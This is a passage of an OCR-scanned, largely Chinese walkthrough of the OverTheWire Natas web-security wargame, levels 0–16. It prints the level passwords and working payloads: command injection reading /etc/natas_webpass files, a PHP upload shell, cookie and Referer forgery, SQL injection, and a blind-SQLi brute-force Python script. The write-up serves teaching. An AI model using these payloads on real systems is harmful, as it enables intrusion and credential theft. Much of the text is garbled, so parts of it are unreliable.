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f+ 4 /& Natas
Natas teaches the basics of serverside web-security.

Each level of natas consists of its own website located at http:/natasX.natas.labs.overthewire.org, where X is the level number.
There is no SSH login. To access a level, enter the username for that level (e.g. natasO for level 0) and its password.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All
passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5

and only readable by natas4 and natas5.

Natas J& 12 #i fibandit/& [Fl — 4~ & 5l fiwargame, FATTA] A H & 5| — Le BRI AR S5 o I 48 22 4, BuiX AN RFIBIBHE A 75 2
ssh¥ %, HABEENLZNEHEMRBEINERMGE, B—XREEDT XKL, Frf %KiLEFMETE/etc/natas_webpass

iH ok H
Natas Level 0

Username: natas0O
Password: natasO
URL: http://natas0.natas.labs.overthewire.org



P2 MEmEER2 5, M ER“You canfind the password for the next level on this page.”. F12&FEN, MRELES T @
KEH

<I--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Natas Level 0 — Level 1

Username: natas1
URL: http://natas1.natas.labs.overthewire.org

AP aMERERZ G, MRER"

You can find the password for the next level on this page, but rightclicking has been blocked! "
BRLE—RRBIULBRNMABAIRAREFELGR, XRBATEEET U

FI2EFEHEN, MIIENEE TEXREHA

<I-- The password for natas2 is ZluruAthQk7Q2MgmDeTiUijj2ZVWy2mBi -->

Natas Level 1 — Level 2

Username: natas2
URL: http://natas2.natas.labs.overthewire.org
R P2 MELEEFZ G, MTER"There is nothing on this page ",F 122 & Y

VERD B R T — AN Lhpostil IR AL Hform# B

="realwechallform" ="https://www.wechall.net/10-levels-on-Natas.html" ="application/x-www-form-urlencoded"

="wfid" ="3" ="hidden">< ="password_solution" ="ZluruAthQk7Q2MgmDeTiUij22v\Wy2mBi"
="igotitnow" ="Register" ="hidden"></ >

ZHBBRYPERRT, XANFERZ X Nwargame g AT F I ? 2

& 5 R htmIFERS B A — B <img src="files/pixel.png">

YiBA 280 B R T CAYT i Blfiles H %, EHEFEWRE LN Efiles, fERBIMFEE R TER —fusers.txt, XA ULE#E
R )

# username:password

alice:BYNdCesZgqW

bob:jw2uelCLvT

charlie:G5vCxkVV3m
natas3:sJIUNW6ucpu6HPZ1ZAchaDtwd70GrD14
eve:zo4mJWyNj2

mallory:9urtcpzBmH

B EInatas3%: sJIUNWGucpubHPZ1ZAchaDtwd7oGrD14

Natas Level 2 — Level 3

Username: natas3

URL.: http://natas3.natas.labs.overthewire.org

VR R 5 SRR, B AR %47 #Erobots. txt

< ="content">
There is nothing on this page

<!-- No more information leaks!! Not even Google will find it this time...

</div>



Vi I8 /robots.txt & A 4M/s3cr3t/ H
Vi 13X AN B 30T LG Blusers.ixt, XA SCA SR BT 26 &
natas4:Z9tkRkWmpt9Qr7 XrR5WRkgOU901swEZ

Natas Level 3 — Level 4

Username: natas4
URL: http://natas4.natas.labs.overthewire.org

="content">

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "htt

p://natas5.natas.labs.overthewire.org/"
<br/>

="viewsource">< ="index.php">Refresh page</a></div>

TR A EATR % M hitp:/natas5.natas.labs.overthewire.org/, i 2, Bidnatas4id £R1T, X BEATHM T BB % Referer,
burpsuite E ji
B hreferer¥ B

Referer: http://natas5.natas.labs.overthewire.org/

HY 2 J515 2 Bl

="content">

Access granted. The password for natas5 is iX610fmpN7AYOQGPwtn3fXpbaJVJcHfq

<br/>

< ="viewsource">< ="index.php">Refresh page</a></div>

Natas Level 4 — Level 5

Username: natas5

URL.: http://natas5.natas.labs.overthewire.org

X@EF %, 83%|Access disallowed. You are not logged in, JEISEMANTF, BATHT— T REMHRL, BURPHIE, KIT
cookieZBH —/Moggedin=0 , BFIRESFZWEHX—M B, EicookieF B #loggedin=1ki%
Z Ja Bk ReAR 3 | B

="content">

Access granted. The password for natas6 is aGoY4q2Dc6MgDg4oL4YtoKtyAg9PeHa1

</div>

Natas Level 5 — Level 6

Username: natas6

URL.: http://natas6.natas.labs.overthewire.org

view sourcecodek B| —BUR E E A HIWT iR H, anRIZITHIR B KT B $secret—HEl AT LS B #RAL, FEITTLAXC

{4 includes/secret.inc*



include "includes/secret.inc";

if(array_key_exists("submit", ) {
if( ['secret) {

print "Access granted. The password for natas? is <censored>";
} else {
print "Wrong secret";

burpiji IA]”includes/secret.inc“w] LA Flresponse

HTTP/1.1 200 OK

Date: Fri, 01 Mar 2019 09:11:57 GMT

Server: Apache/2.4.10 (Debian)

Last-Modified: Thu, 15 Dec 2016 21:07:45 GMT
ETag: "27-543b8d8450a40"

Accept-Ranges: bytes

Content-Length: 39

Connection: close

<?

$secret = "FOEIUWGHFEEUHOFUOIU";
7>

#1821 $secret = “FOEIUWGHFEEUHOFUOIU”; 3232 W] LA1S 2[5 B :
Access granted. The password for natas7 is 7z3hEEN]jQtflzgnT29q7wAvMNfZdh0i9

Natas Level 6 — Level 7

Username: natas?7

URL: http://natas7.natas.labs.overthewire.org

W YRS LA TR — A

<!I-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

WU BT Murl:  http:/natas7 .natas.labs.overthewire.org/index.php?page=about®] LLE Hi EfEpage S #, FEEME—NSHE,
FFEEGET RS, WMEET .

\Warning: include(add): failed to open stream: No such file or directory in /var/www/natas/natas?7/index.php on line 21

\Warning: include(): Failed opening 'add' for inclusion (include_path=".:/usr/share/php:/usr/share/pear") in /var/www/natas/natas7/index.php on |

ine 21

BARXBFE N A SRR,
AFRATH AT LLIE natas8 i B 2R E 4 pageikik »
AR 55535 [F %5 4015 B . DBfUBfqQGB9KvJVJ1iAbMolpwSNQ9bWe

Natas Level 7 — Level 8

Username: natas8

URL.: http://natas8.natas.labs.overthewire.org



view sourcecode B A — BAVS

"3d3d516343746d4d6d6¢315669563362";

unction encodeSecret( ){
return bin2hex(strrev(base64_encode( )));

if(array_key_exists("submit", ) {
if(encodeSecret( ['secret) ) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";

}

XA EEERLEA RN, BiLRANED— BN, X B E A W2 B B AUR T 2K B AT Fsecret& i base64 4w i,
B A 3k R 163 A M R NS I B E M L, R — SN AUR T, X E 2R
?3d3d516343746d4d6 A6 316695633627 3K secreti® | THI B0 BBIE SR — W7 7 . BB hin2h

dl
Fl L] F

root@kali:~# echo 3d3d516343746d4d6d6c315669563362 | xxd -p -r | rev| base64 -d
oubWYf2kBq
root@kali:~#

+#oubWYf2kBg#ir \ ElsecretfI AN IAME, submitZ J& 7 LA1E 2
Access granted. The password for natas9 is WOmMhUcRRnG8dcghE4qvk3JA9IGt8nDI

Username: natas9
URL: http://natas9.natas.labs.overthewire.org

view sourcecode ] L5 %]

if(array_key_exists("needle",
["'needle"];

passthru("grep -i dictionary.txt");

X B fneedle— NMEidgetiE RIB/ZMSE, WRANT, S8 AEZ grep -i $key dictionary.txt AT, passthru()FH RIATFH
AN, FHNXEED A A ENRR
HE$keytiE B 123 dictionary.txt ; cat /etc/natas_webpass/natas10;# X FE B 58 B dr & il 2

grep -i 123 dictionary.txt ; cat /etc/natas_webpass/natas10;# dictionary.txt




grep -i 123 dictionary.ttiX B i)1233 4, BESEERBSER, FAXRBMNPEFERE, THiE, FERLE _%KiELcat.. &8
FEREHR, BTHEEHRNANEMMATERREEENAR, HRBTFE— K.

B3R [B] finatas 10 4315 B«

nOpp1igQAkUzal1 GUUjzn1bFVj7xCNzu

Natas Level 9 — Level 10

Username: natas10
URL: http://natas10.natas.labs.overthewire.org

view sourcecode

if(array_key_exists("needle",
["needle"];

if(preg_match('/[;|&]/", N A

print "Input contains an illegal character!";
} else {
passthru("grep -i dictionary.txt");

Hi&E¥e 4 . letc/natas_webpass/natas11# W] LA Geit
B3] T —K KB 4H Us2g5TCMMQIxUFol3dYX61s70ZD9JKoK

EHIXEME T preg_match®i %, XTRXARHSE, MWUSE T HXAMERKSE T K.
https://www.tuicool.com/articles/IR7Z3yM

Natas Level 10 — Level 11

Username: natas11
URL: http://natas11.natas.labs.overthewire.org

B H hCookies are protected with XOR encryption
view sourcecode



array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

unction xor_encrypt($in) {
'<censored>';

// Iterate through each character
for($i=0;$i<strlen( ); ){
[$i] strlen(

return

unction loadData( ) {
global

if(array_key_exists("data", ) {

json_decode(xor_encrypt(base64 decode( ["data"])), true);
if(is_array( ) array_key exists("showpassword", ) array_key_exists("bgcolor",
if (preg_match('/M(?:[a-A\d]{6})$/i', ['bgcolor'])) {
['showpassword'] ['showpassword'];
['bgcolor'] ['bgcolor'];

return

unction saveData($d) {
setcookie("data", base64 encode(xor_encrypt(json_encode(

loadData(

if(array_key_exists("bgcolor", )R
if (preg_match('/#(?:[a-Ad[{6})$/i', ['bgcolor)) {
['bgcolor'] ['bgcolor'];

1833 burp 3N & B cookie 7 Bt BLTH ) data=CIVLIh4ASCsCBESIAXMacF MZV2hdVVotEhhUJQNVAMhSEVAsFxFeaAw%3D 45 B A 1%3D,
XA E Runigii=, Frbldata® B HIME A data=CIVLIh4AASCsCBESIAxMacFMZV2hdVVotEhhUJQNVAMhSEVAsFxFeaAw= . S BRINEE
HE keyxorB=C M| key xor C=b XHE B 4Ndata 1 array( "showpassword"=>"no", "bgcolor"=>"#ffffff") & 7] PA3K tH key

fiR % RkeyfOrg




"CIVLIh4ASCsCBE8IAxMacFMZV2hdVVotEhhUJQNVAMhSEV4sFxFeaAw=";

unction xor_encrypt($in) {
json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));

// Iterate through each character
for($i=0;$i<strlen( ); ) {
[$i] strlen(

return

lecho xor_encrypt(base64 decode(

Y iBIz1TIX Btphp
root@kali:/tmp# vim natas11.php

root@kali:/tmp# php -f natas11.php
qw8Jqw8Jqw8Jgw8Jqw8Jqw8Jqw8Jgw8Jqw8Jqw8Jq

B3 keyHI{E qwsJ

T+ H Hshowpasswd AyesHt #i f¥icookie

get_data.php

array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

unction xor_encrypt($in) {
'qwaJ’;

".
)

// lterate through each character
for($i=0;%i<strlen( ); ) {
[$i] strlen( );

lecho base64_encode(xor_encrypt(json_encode( )));

root@kali:/tmp# php -f get_data.php
CIVLIh4ASCsCBE8IAXMacF MOXTITWxooFhRXJh4FGnBTVF4sFxFeLFMK




FHix Bt data® #tburp B [ f cookie ) 2 i 3k i2% 2 ik 45 4 15 2l response

[The password for natas12 is EDXpOpS26wLKHZy1rDBPUZKkORKfLGIR3

Username: natas12
URL: http://natas12.natas.labs.overthewire.org

view sourcecode

unction genRandomString() {
10;
"0123456789abcdefghijkimnopgrstuvwxyz";

)

[mt_rand(0, strlen(

return

unction makeRandomPath( ){
do{
"I".genRandomString().".".
} while(file_exists( ));

return

unction makeRandomPathFromFilename( , ) {
pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath( , );

if(array_key_exists("filename", ) {
makeRandomPathFromFilename("upload", ["filename"]);

if(filesize( ['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file( ['uploadedfile']['tmp_name'], ) {
echo "The file <a href=\" \"> </a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";

}

} else {

form enctype="multipart/form-data" action="index.php" method="POST"

input type="hidden" name="MAX_FILE_SIZE" value="1000"

input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg"
Choose a JPEG to upload (max 1KB):<br

input name="uploadedfile" type="file" /><br

input type="submit" value="Upload File"

form

}




RIEB — LR T — A EAARIA D, BRI SO K E AR R A BRI, #4583 5 %2 A RELE 4 7 INjpg
A, RE/NTIKERRe s, BREHAME — MEBCUHHphpte £ 5 R AT DA, FHRER ZEORIE A& KRS BB 1E F AT 1
17, XEBAT T Efephpta X, AR5 EEARER B M ERAET M T, XEAEBRAEIIT T

fopen("/etc/natas_webpass/natas13", "r") or die("Unable to open file!");
echo fread( [filesize("/etc/natas_webpass/natas13"));
fclose(

i
burpIMELIE S A& 3L IF 4 JE 4 uphp, 383 [B] & #4217 1 P9 ik

83| % 41 jmLTY0qiPZBbaKc9341cqPQZBIV7MQbY

Username: natas13
URL: http://natas13.natas.labs.overthewire.org

R—RMET E—kn 7 A2 E A

view soucecode

div id="content"
For security reasons, we now only accept image files! <br/><br

unction genRandomString() {
10;
"0123456789abcdefghijkimnopgrstuvwxyz";

){

[mt_rand(0, strlen(

return

unction makeRandomPath( , ){
(o[oR
"".genRandomString().".".
} while(file_exists( );
return

unction makeRandomPathFromFilename( , ) {
pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath( , );

if(array_key_exists("filename", DA
makeRandomPathFromFilename("upload", ["filename"]);
['uploadedfile']['error'];

2)
echo "The uploaded file exceeds MAX FILE SIZE":




} else{
echo "Something went wrong :/";
¥
} else if(filesize( ['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype( ['uploadedfile'|['tmp_name'])) {
echo "File is not an image";
} else {

if(move_uploaded_file( ['uploadedfile']['tmp_name'], ) {

echo "The file <a href=\" \"> </a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";

}

} else {

form enctype="multipart/form-data" action="index.php" method="POST"
input type="hidden" name="MAX_FILE_SIZE" value="1000"
input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg"
Choose a JPEG to upload (max 1KB):<br
input name="uploadedfile" type="file" /><br
input type="submit" value="Upload File"
form
ki
div id="viewsource"><a href="index-source.html">View sourcecode</a></div
div

XERETexif_imagetype OO RIRHISCHRRE, ZANREREMEBRKE —NFHIFREHELRANREZE R #KXK,
FERATH — A iEAR DR HIN B kR /S

GIF89a (jpg) FIASEILIRE R .

get_natas14.php

fopen("/etc/natas_webpass/natas13”, "r") or die("Unable to open file!");

echo fread( Jfilesize("/etc/natas_webpass/natas13"));

fclose(

HABKA L —k—FE, B&EHEI%E Lg96M10TdfaPyVBkJdjymblQ5L6qgdI1
Natas Level 13 — Level 14

Username: natas14
URL.: http://natas14.natas.labs.overthewire.org

view sourcecode
XA R —IESQLIEANK A H



if(array_key_exists("username”, ) {
mysql_connect('localhost’, 'natas14', '<censored>');
mysql_select_db('natas14', );

"SELECT * from users where username=\"". ["'username"]."\" and password=\"". ["password"]."\"";
if(array_key_exists("debug", N {
echo "Executing query: <br>";

if(mysqgl_num_rows(mysql_query( , ))>0){
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
ki
mysql_close(
} else {

form action="index.php" method="POST"
Username: <input name="username"><br
Password: <input name="password"><br:
input type="submit" value="Login"

form

}

BEXBERBITUEEER, BidgetN\IEAZ — /1 debugZ B oA mysqRIBHIIRRE R, RMburpE&EINEFER, ERHE
I E—/NGETS$, FEAK TR  or 1=1. ME K burpiirepeaterffI i 3¢;

POST /index.php?debug=1 HTTP/1.1

Host: natas14.natas.labs.overthewire.org

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://natas14.natas.labs.overthewire.org/

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Cookie: __ utma=176859643.313484370.1551521413.1552292005.1552379295.11; __ utmz=176859643.1552292005.10.4.utmcsr=cn.bing.co
m|utmccn=(referral)|utmcmd=referrallutmcct=/; __cfduid=db647ef64043333d0e19185d45f42a8321551522011; __ utmb=176859643.3.10.1552
379295; _ utmc=176859643; _ utmt=1

Authorization: Basic bmFOYXMxNDpMZzk2T TEWWGRmMYVB5VkJrSmRgeW1ibGXRNUW2cWRsMQ==

Connection: close

Upgrade-Insecure-Requests: 1

username=1" or 1=1#&password=

CEIE AR AT

Executing query: SELECT * from users where username="1" or 1=1#" and password=""<br>
Successful login! The password for natas15 is AWWj0wScvxrZiONgZ9J5stNVkmxdk39J</br>

Username: natas15
URL.: http://natas15.natas.labs.overthewire.org

view source-code




CREATE TABLE "users” (

‘username” varchar(64) DEFAULT NULL,
‘password” varchar(64) DEFAULT NULL
):

Vi

if(array_key_exists("username", DR
mysql_connect('localhost’, 'natas15', '<censored>');
mysql_select_db('natas15', );

['username"]."\"";
if(array_key_exists("debug", ) {
echo "Executing query: <br>";

mysql_query(

if($res) {
if(mysql_num_rows( )>0){

echo "This user exists.<br>";
}else {

echo "This user doesn't exist.<br>";
ki
} else {

echo "Error in query.<br>";

mysql_close(
} else {

FEFERSqQVEN, BEAZBEANGERARER, ATLAEBluser exists RN ERFBARRBER, XMAERFHsqBERET . Rk

REFENatas16 XN, ERERSRTFER.

B R IE IS H 2 select * from users where username='natas16' and passwd like '[burte force]' /&%, AR 3E Bl [ i) 55 1 2555 7] DAHERT
EANEERI2MKNEFRAMBFHAEE, REARREBURPHIBBIEIURN, W RHIEN 7402 TEEKEER, £MES%
T—THMBE, KRG ANEMEER SR, 2R N HERLE — AL FFLRILES, #E s — M FILEE —fr. g%
T 2 ILAC6 2K s 7] LA S B R 1S, THE B 2 B R R .



#!/usr/bin/env python

import requests

url = 'http://natas15.natas.labs.overthewire.org/index.php'

username= 'natas15'
'AWWjOwScvxrZiONgZ9J5stNVkmxdk39J'

or pos in range(34):
low = 32
high = 126
mid = (high+low)>>1

while mid<high:
#print low,mid, high
payload= "natas16\" and %d < ascii(mid(password,%d,1)) and \"\" like \"" % (mid, pos)
req = requests.post(url, auth = requests.auth.HT TPBasicAuth(username,password),data={"username":payload})

#print req.text
if req.text.find("doesn't exist")==-1:
low = mid+1

else:
high=mid
mid = (high+low)>>1

key+=chr(mid)
print key
ile("key","W").write(key)




root@kali:/tmp/brute# python brute.py

Wa

WalH

WalHE

WalHEa

WalHEac

WalHEac;j

WalHEacj6

WalHEacj63

WalHEacj63w

WalHEacj63wn

WalHEacj63wnN

WalHEacj63wnNI

WalHEacj63wnNIB

WalHEacj63wnNIBR
WalHEacj63wnNIBRO
WalHEacj63wnNIBROH
WalHEacj63wnNIBROHe
WalHEacj63wnNIBROHeq
WalHEacj63wnNIBROHeqi
WalHEacj63wnNIBROHeqi3
WalHEacj63wnNIBROHeqi3p
WalHEacj63wnNIBROHeqi3p9
WalHEacj63wnNIBROHeqi3p9t
WalHEacj63wnNIBROHeqi3p9t0
WalHEacj63wnNIBROHeqi3p9tOm
WalHEacj63wnNIBROHeqi3p9tOm5
WalHEacj63wnNIBROHeqi3p9tOm5n
WalHEacj63wnNIBROHeqi3p9tOm5nh
WalHEacj63wnNIBROHeqi3p9tOm5nhm
WalHEacj63wnNIBROHeqi3p9tOm5nhmh
WalHEacj63wnNIBROHeqi3p9tOm5nhmh

Username: natas16
URL.: http://natas16.natas.labs.overthewire.org
For security reasons, we now filter even more on certain characters

view source code



if(array_key_exists("needle",

["'needle"];

if(preg_match('/[;|&\"/", ) {

print "Input contains an illegal character!";
} else {

passthru("grep -i \" \" dictionary.txt");

BEREANGS IEN LA ar-EAN, ML T RN, XEFEERNTFRENG SHEERT
8Ps3HOGWbn5rd9S7GmAdgQNdkhPkg9cw

TODO: R R EH, FEBHAHA
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